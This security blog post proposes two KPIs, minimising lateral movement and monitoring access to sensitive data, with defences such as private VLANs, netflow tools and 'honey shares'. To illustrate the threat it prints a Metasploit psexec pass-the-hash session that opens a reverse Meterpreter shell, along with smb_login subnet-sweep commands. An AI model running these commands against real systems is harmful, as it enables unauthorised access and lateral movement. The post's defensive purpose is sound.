INFORMATION SECURITY KPIS: PART TWO
In my last post, I began by analyzing common ways attackers break into networks and developed strategies to mitigate these attacks. By focusing resources on areas that attackers frequently leverage to gain access into a network, we have a better chance at defending the organization.
The result of this exercise was the development of KPIs that organizations can use to measure the effectiveness of their security program. In the previous post, I identified and discussed the first two KPIs. In this second post, I will cover the final two key performance indicators.
As a review, here are the first two KPIs:
1. Confidence Level in Account Validity (Qualitative KPI)
We explored ways to increase confidence that usernames and passwords being leveraged in the environment are, in fact, being used by their rightful owners and not nefarious actors. We discussed how to make changes to Active Directory in order to prevent or limit password theft, and pass the hash attacks. In addition to the options we discussed in our last post, two-factor authentication is a wonderful form of protection.
2. Confidence in System Control
This indicator explored ways to ensure confidence in the systems that users leverage. We discussed patching cycles, application whitelisting, and host isolation. I also covered how to measure the success of this KPI and showed what a sample report may look like.
While we’ve set a solid foundation for our security program, there are still weaknesses that need to be addressed. Based on the the sample controls I’ve addressed thus far, there is still the potential for an attacker to harvest credentials from each user they compromise. To recap, an attacker should not be able to harvest cached credentials from desktops, but unfortunately mobile workers with laptops still are at risk.
Unless the attacker is fortunate enough to locate the data on the victim’s laptop, they will need to move across the network. So,what systems will attackers target and how will they gain access to these systems?
The easiest way for attackers to gain access to data is via a file sharing protocol. Unfortunately, these protocols have minimal security controls; to date there’s no way to enable 2FA on a native SMB or NFS share.
So if our attacker has access to a remote workers laptop, how will they gain access to corporate data? One of the most commonly used attack tools to accomplish this is an application called Metasploit.
We’ll cover two tools commonly used:
- and smb_login
These two tools are by no means the only way of accomplishing this. You can use Python or PowerShell to accomplish the same task; however, the attack process is easiest to illustrate with the two utilities we’re mentioning here. Also, the method to detect these actions are the same for any tool the attacker may use.
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##=[ metasploit v4.2.0-dev [core:4.2 api:1.0]
+ — –=[ 787 exploits – 425 auxiliary – 128 post
+ — –=[ 238 payloads – 27 encoders – 8 nops
=[ svn r14551 updated yesterday (2012.01.14)msf > search psexecExploits
windows/smb/psexec Microsoft Windows Authenticated User Code Execution
windows/smb/smb_relay Microsoft Windows SMB Relay Code Executionmsf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(psexec) > set LHOST 192.168.57.133
LHOST => 192.168.57.133
msf exploit(psexec) > set LPORT 443
LPORT => 443
msf exploit(psexec) > set RHOST 192.168.57.131
RHOST => 192.168.57.131
msf exploit(psexec) > show options
Name Current Setting Required Description
—- ————— ——– ———–
RHOST 192.168.57.131 yes The target address
RPORT 445 yes Set the SMB service port
SMBPass no The password for the specified username
SMBUser Administrator yes The username to authenticate as
Payload options (windows/meterpreter/reverse_tcp):
Name Current Setting Required Description
—- ————— ——– ———–
EXITFUNC thread yes Exit technique: seh, thread, process
LHOST 192.168.57.133 yes The local address
LPORT 443 yes The local port
msf exploit(psexec) > set SMBPass e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
SMBPass => e52cac67419a9a224a3b108f3fa6cb6d:8846f7eaee8fb117ad06bdd830b7586c
msf exploit(psexec) > exploit
[*] Connecting to the server…
[*] Started reverse handler
[*] Authenticating as user ‘Administrator’…
[*] Uploading payload…
[*] Created \KoVCxCjx.exe…
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] …
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:192.168.57.131[\svcctl] …
[*] Obtaining a service manager handle…
[*] Creating a new service (XKqtKinn – “MSSeYtOQydnRPWl”)…
[*] Closing service handle…
[*] Opening service…
[*] Starting the service…
[*] Removing the service…
[*] Closing service handle…
[*] Deleting \KoVCxCjx.exe…
[*] Sending stage (719360 bytes)
[*] Meterpreter session 1 opened (192.168.57.133:443 -> 192.168.57.131:1045)
meterpreter > shell
Process 3680 created.
Channel 1 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
If you notice towards the bottom of these screen captures there are two commands of interest:
msf auxiliary(smb_login) > set RHOSTS 192.168.1.0/24
msf auxiliary(smb_login) > set SMBPass s3cr3t
Notice two things:
The attacker can set a subnet mask to scan as noted by set RHOSTS 192.168.1.0/24.
The attacker is using a plain text password; however, you can also use a recovered password hash with this exploit as well.
This is a pivotal moment for an attacker. They have a shell on the victim host, a valid username and password hash. They are scanning a large segment of your environment in an attempt to gain access to potentially critical systems. The scariest part about this process is that generally there will be no warnings from your IDS/IPS systems, your SIEM tools, and your end users will not notice any suspicious behavior because the attacker is using valid credentials. This is one of the worst possible scenarios an organization can be in.
So how do we protect ourselves against this situation, and how do we measure how well our security program is executing on that protection?
3. Minimization of Lateral Movement
The goal of KPI three is to measure how much we can minimize all available lateral movement throughout the organization’s network. This is where smart security policies and technical controls intersect. Since we’ve seen that the majority of attacks enter the organization through endpoint systems, we should establish policies that do not allow the following types of activities:
Ping scans from unapproved LAN hosts
Port scans from unapproved LAN hosts (TCP & UDP)
SMB sharing between LAN users
Any other activity that would require endpoints to engage in peer-to-peer communication
or example, if an organization wants to enable file sharing between users, all file sharing should be done from a server within the datacenter. Users should not be allowed to enable and share files off of their endpoints; and users should not engage in network scanning of any kind. If we have these policies in place, when attackers engage in scanning activities it can be easily detected. How is this activity detected? Through several options, each with their own pros and cons.
If you have a limited budget, the most cost effective (but primitive) method is to implement Private VLANs (PVLAN) on your LAN segments. You can then enable an access control list on those ports that are members of the PVLAN. If you’re unfamiliar with PVLANs, the graphic below, taken from Cisco’s website, illustrates how a private VLAN works:
When you leverage isolated PVLANs, systems attached to the ports are simply not able to communicate amongst themselves. As previously mentioned, you place an access control list (ACL) on ports for violations of those controls. ACL violations should be forwarded to your SIEM tool of choice. Any violation should be investigated immediately, as it is an indicator of lateral movement on the network.
If you have a larger budget, you could implement a solution like Cisco’s Stealthwatch:
Stealthwatch is a netflow visibility tool; netflow consists of metadata about traffic flows in an environment. That metadata can also alert us to lateral movement an attacker may attempt. Where a simple PVLAN access list violation tells us something bad has happened, a tool like Stealthwatch can provide much greater visibility about what actually occurred. Alarms can be set as thresholds of activity are breached. Netflow data can also provide information about application use that may violate policy, such as streaming video or music.
Finally, there are additional micro-segmentation techniques for the data center and LAN such as: VMware’s NSX, Cisco’s ACI and ISE platforms. Each of these subjects could fill an entire blog post, but if you are thinking of building a more robust security program they are definitely worth investigating.
As we’re finishing our 3rd KPI, we should take stock on the working room attackers have within our environment:
The attacker should be limited to a single valid username and password hash
The attacker cannot actively scan the local subnet or any other subnets protected by private VLANs or other network visibility tools
This situation leaves the attacker a very narrow window of opportunity, but we should seek to close the gap. The attacker could be fortunate and the endpoint they compromised could have mapped SMB shares that contain sensitive data. What is our course of action at this point?
4. Percent of Sensitive Data Monitored for Anomalous Access
I’m a realist. It’s very difficult to stop an attacker once they’ve gained access to your file shares with valid user credentials, but we shouldn’t give up. There are at least two things we can do in this situation that can give us an opportunity to discover an attacker. Again, I will present two options: one for organizations that may not have a large security budget, and a second for organizations with larger budgets.
Setup “honey shares” on file shares with sensitive information
Monitor successful file access and alert on the most sensitive data
Implement a technology that analysis file access behaviors, and will alert on on deviation
The first two options can be implemented free of cost. Some people would consider my term “honey share” as a honey pot. The term used is unimportant, what is important, however, is that the advantage we have here over the attacker is that they will have to look for data on file shares in order to locate their objective. If you place what appears to be a juicy target on a file share, an attacker will most likely attempt to read the files. Within Windows you can enable the successful access of files. Note this WILL cause a massive amount of events in event viewer, but if you set up a “honey share” no valid user should be accessing it. At a high level you need to do two things to set up object access auditing.
First, enable auditing on the folder, subfolders, and files that are sensitive, as shown above.
Second, you have to enable audit object access within group policy and ensure it’s applied to the correct systems. The same tactic can be used on a highly sensitive file share, but the amount of generated audit logs will be significant. These audit logs can be forwarded to a system like Splunk, which will summarize alerts for you. This will be helpful to reduce the volume of alerts that will be created, but to monitor all legitimate file access manually will be an intensive process. In order to reduce this burden, there are pay for products on the market that will attempt to learn user access patterns, only alerting when they believe there’s been a change in access that warrants investigation.
One of the products that performs this type of action is Varonis’s Datadvantage. Datadvantage builds a model of regular access from all your users, and will report any perceived malicious activity. Datadvantage has capabilities to scan SMB or NFS shares and report where potentially sensitive information resides. Datadvantage can also provide you with information, such as last access time, so you can start to delete old information. This reduces the amount of data available for attackers to steal, therefore reducing your risk level.
In review, we covered why we selected our KPIs; they were based on the most likely actions an attacker will take during data breach, according to relevant security reports by Verizon, Mandiant, and Cisco. Our objective was to protect:
- Accounts representing authorized users
- The systems those users are accessing
- The network systems use to pass data
- Types of data users access in order to complete work
There are certainly other security measures that organizations can put in place, but ultimately they will likely be protecting one of these four core areas within the data ecosystem.
For a final review, I’ve outlined 4 KPIs that can be used to measure the success of our security program:
- Confidence Level in Account Validity
- Confidence in System Control
- Minimization of Lateral Movement
- Percent of Sensitive Data Monitored for Anomalous Access
When executives begin monitoring and measuring these four key areas, they can start to gain confidence that the security organization is operating effectively. If any one of these pillars are lacking attackers gain movement room within an organization. What’s important is that we systematically look at how attackers are actually operating in environments and pick controls that achieve asymmetric results. Carefully designed controls that cover practical attack vectors will always be more effective than controls that are selected based on vendor marketing budgets.